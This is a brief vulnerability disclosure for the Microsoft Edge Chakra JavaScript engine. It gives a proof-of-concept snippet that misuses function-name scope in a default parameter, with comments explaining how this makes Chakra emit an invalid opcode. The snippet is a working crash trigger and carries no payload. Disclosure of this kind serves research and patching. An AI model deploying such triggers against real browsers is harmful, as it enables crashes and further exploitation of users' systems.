Microsoft Edge Chakra - Incorrect Scope Handling
// PoC:
(function func(arg = function () {
print(func); // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
print(func);
function func() {
}
})();
// Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.